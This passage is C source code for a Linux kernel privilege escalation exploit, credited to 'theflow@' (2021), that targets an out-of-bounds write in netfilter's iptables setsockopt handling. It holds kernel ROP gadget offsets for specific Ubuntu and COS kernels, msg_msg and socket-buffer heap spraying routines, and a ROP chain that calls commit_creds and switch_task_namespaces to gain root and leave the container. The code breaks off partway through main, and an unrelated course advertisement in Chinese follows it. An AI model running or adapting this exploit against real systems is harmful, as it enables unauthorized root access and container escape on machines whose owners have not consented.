#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF
// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x891BC
// 0xffffffff810f5633 : pop rcx ; ret
#define POP_RCX_RET 0xF5633
// 0xffffffff811abaae : pop rsi ; ret
#define POP_RSI_RET 0x1ABAAE
// 0xffffffff81089250 : pop rdi ; ret
#define POP_RDI_RET 0x89250
// 0xffffffff810005ae : pop rbp ; ret
#define POP_RBP_RET 0x5AE
// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret
#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894
// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret
#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB
#define FIND_TASK_BY_VPID 0xBFBC0
#define SWITCH_TASK_NAMESPACES 0xC7A50
#define COMMIT_CREDS 0xC8C80
#define PREPARE_KERNEL_CRED 0xC9110
#define ANON_PIPE_BUF_OPS 0x1078380
#define INIT_NSPROXY 0x1663080
#else
#error "No kernel version defined"
#endif
// clang-format on
#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))
struct
msg_msg {
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct
msg_msgseg {
uint64_t next;
};
struct
pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t
private
;
};
struct
pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};
struct
{
long
mtype;
char
mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;
struct
{
long
mtype;
char
mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;
struct
{
long
mtype;
char
mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;
void
build_msg_msg(
struct
msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}
int
write_msg(
int
msqid,
const
void
*msgp,
size_t
msgsz,
long
msgtyp) {
*(
long
*)msgp = msgtyp;
if
(msgsnd(msqid, msgp, msgsz -
sizeof
(
long
), 0) < 0) {
perror
(
"[-] msgsnd"
);
return
-1;
}
return
0;
}
int
peek_msg(
int
msqid,
void
*msgp,
size_t
msgsz,
long
msgtyp) {
if
(msgrcv(msqid, msgp, msgsz -
sizeof
(
long
), msgtyp, MSG_COPY | IPC_NOWAIT) <
0) {
perror
(
"[-] msgrcv"
);
return
-1;
}
return
0;
}
int
read_msg(
int
msqid,
void
*msgp,
size_t
msgsz,
long
msgtyp) {
if
(msgrcv(msqid, msgp, msgsz -
sizeof
(
long
), msgtyp, 0) < 0) {
perror
(
"[-] msgrcv"
);
return
-1;
}
return
0;
}
int
spray_skbuff(
int
ss[NUM_SOCKETS][2],
const
void
*buf,
size_t
size) {
for
(
int
i = 0; i < NUM_SOCKETS; i++) {
for
(
int
j = 0; j < NUM_SKBUFFS; j++) {
if
(write(ss[i][0], buf, size) < 0) {
perror
(
"[-] write"
);
return
-1;
}
}
}
return
0;
}
int
free_skbuff(
int
ss[NUM_SOCKETS][2],
void
*buf,
size_t
size) {
for
(
int
i = 0; i < NUM_SOCKETS; i++) {
for
(
int
j = 0; j < NUM_SKBUFFS; j++) {
if
(read(ss[i][1], buf, size) < 0) {
perror
(
"[-] read"
);
return
-1;
}
}
}
return
0;
}
int
trigger_oob_write(
int
s) {
struct
__attribute__((__packed__)) {
struct
ipt_replace replace;
struct
ipt_entry entry;
struct
xt_entry_match match;
char
pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
struct
xt_entry_target target;
} data = {0};
data.replace.num_counters = 1;
data.replace.num_entries = 1;
data.replace.size = (
sizeof
(data.entry) +
sizeof
(data.match) +
sizeof
(data.pad) +
sizeof
(data.target));
data.entry.next_offset = (
sizeof
(data.entry) +
sizeof
(data.match) +
sizeof
(data.pad) +
sizeof
(data.target));
data.entry.target_offset =
(
sizeof
(data.entry) +
sizeof
(data.match) +
sizeof
(data.pad));
data.match.u.user.match_size = (
sizeof
(data.match) +
sizeof
(data.pad));
strcpy
(data.match.u.user.name,
"icmp"
);
data.match.u.user.revision = 0;
data.target.u.user.target_size =
sizeof
(data.target);
strcpy
(data.target.u.user.name,
"NFQUEUE"
);
data.target.u.user.revision = 1;
// Partially overwrite the adjacent buffer with 2 bytes of zero.
if
(setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data,
sizeof
(data)) != 0) {
if
(
errno
== ENOPROTOOPT) {
printf
(
"[-] Error ip_tables module is not loaded.\n"
);
return
-1;
}
}
return
0;
}
// Note: Must not touch offset 0x10-0x18.
void
build_krop(
char
*buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
uint64_t *rop;
#ifdef KERNEL_COS_5_4_89
*(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET;
rop = (uint64_t *)&buf[0x18];
// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET;
*rop++ = scratchpad_addr;
// R14
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBX
*rop++ = 0xDEADBEEF;
// R14
*rop++ = 0xDEADBEEF;
// RBP
// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0;
// RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RDX_RET;
*rop++ = 1;
// RDX
*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + COMMIT_CREDS;
// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1;
// RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RDX_RET;
*rop++ = 1;
// RDX
*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY;
// RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;
// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0x25;
// RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#elif KERNEL_UBUNTU_5_8_0_48
*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;
rop = (uint64_t *)&buf[0xD8];
// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = scratchpad_addr;
// R12
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBX
*rop++ = 0xDEADBEEF;
// R12
*rop++ = 0xDEADBEEF;
// RBP
// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0;
// RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4;
// RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + COMMIT_CREDS;
// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1;
// RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4;
// RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY;
// RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;
// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0xA;
// RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#endif
}
int
setup_sandbox(
void
) {
if
(unshare(CLONE_NEWUSER) < 0) {
perror
(
"[-] unshare(CLONE_NEWUSER)"
);
return
-1;
}
if
(unshare(CLONE_NEWNET) < 0) {
perror
(
"[-] unshare(CLONE_NEWNET)"
);
return
-1;
}
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if
(sched_setaffinity(getpid(),
sizeof
(set), &set) < 0) {
perror
(
"[-] sched_setaffinity"
);
return
-1;
}
return
0;
}
int
main(
int
argc,
char
*argv[]) {
int
s;
int
fd;
int
ss[NUM_SOCKETS][2];
int
pipefd[NUM_PIPEFDS][2];
int
msqid[NUM_MSQIDS];
char
primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
char
secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];
struct
msg_msg *msg;
struct
pipe_buf_operations *ops;
struct
pipe_buffer *buf;
uint64_t pipe_buffer_ops = 0;
uint64_t kheap_addr = 0, kbase_addr = 0;
int
fake_idx = -1, real_idx = -1;
printf
(
"[+] Linux Privilege Escalation by theflow@ - 2021\n"
);
printf
(
"\n"
);
printf
(
"[+] STAGE 0: Initialization\n"
);
printf
(
"[*] Setting up namespace sandbox...\n"
);
if
(setup_sandbox() < 0)
goto
err_no_rmid;
printf
(
"[*] Initializing sockets and message queues...\n"
);
if
((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror
(
"[-] socket"
);
goto
err_no_rmid;
}
for
(
int
i = 0; i < NUM_SOCKETS; i++) {
if
(socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
perror
(
"[-] socketpair"
);
goto
err_no_rmid;
}
}
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
if
((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror
(
"[-] msgget"
);
goto
err_no_rmid;
}
}
printf
(
"\n"
);
printf
(
"[+] STAGE 1: Memory corruption\n"
);
printf
(
"[*] Spraying primary messages...\n"
);
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
memset
(&msg_primary, 0,
sizeof
(msg_primary));
*(
int
*)&msg_primary.mtext[0] = MSG_TAG;
*(
int
*)&msg_primary.mtext[4] = i;
if
(write_msg(msqid[i], &msg_primary,
sizeof
(msg_primary), MTYPE_PRIMARY) <
0)
goto
err_rmid;
}
printf
(
"[*] Spraying secondary messages...\n"
);
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
memset
(&msg_secondary, 0,
sizeof
(msg_secondary));
*(
int
*)&msg_secondary.mtext[0] = MSG_TAG;
*(
int
*)&msg_secondary.mtext[4] = i;
if
(write_msg(msqid[i], &msg_secondary,
sizeof
(msg_secondary),
MTYPE_SECONDARY) < 0)
goto
err_rmid;
}
printf
(
"[*] Creating holes in primary messages...\n"
);
for
(
int
i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if
(read_msg(msqid[i], &msg_primary,
sizeof
(msg_primary), MTYPE_PRIMARY) <
0)
goto
err_rmid;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)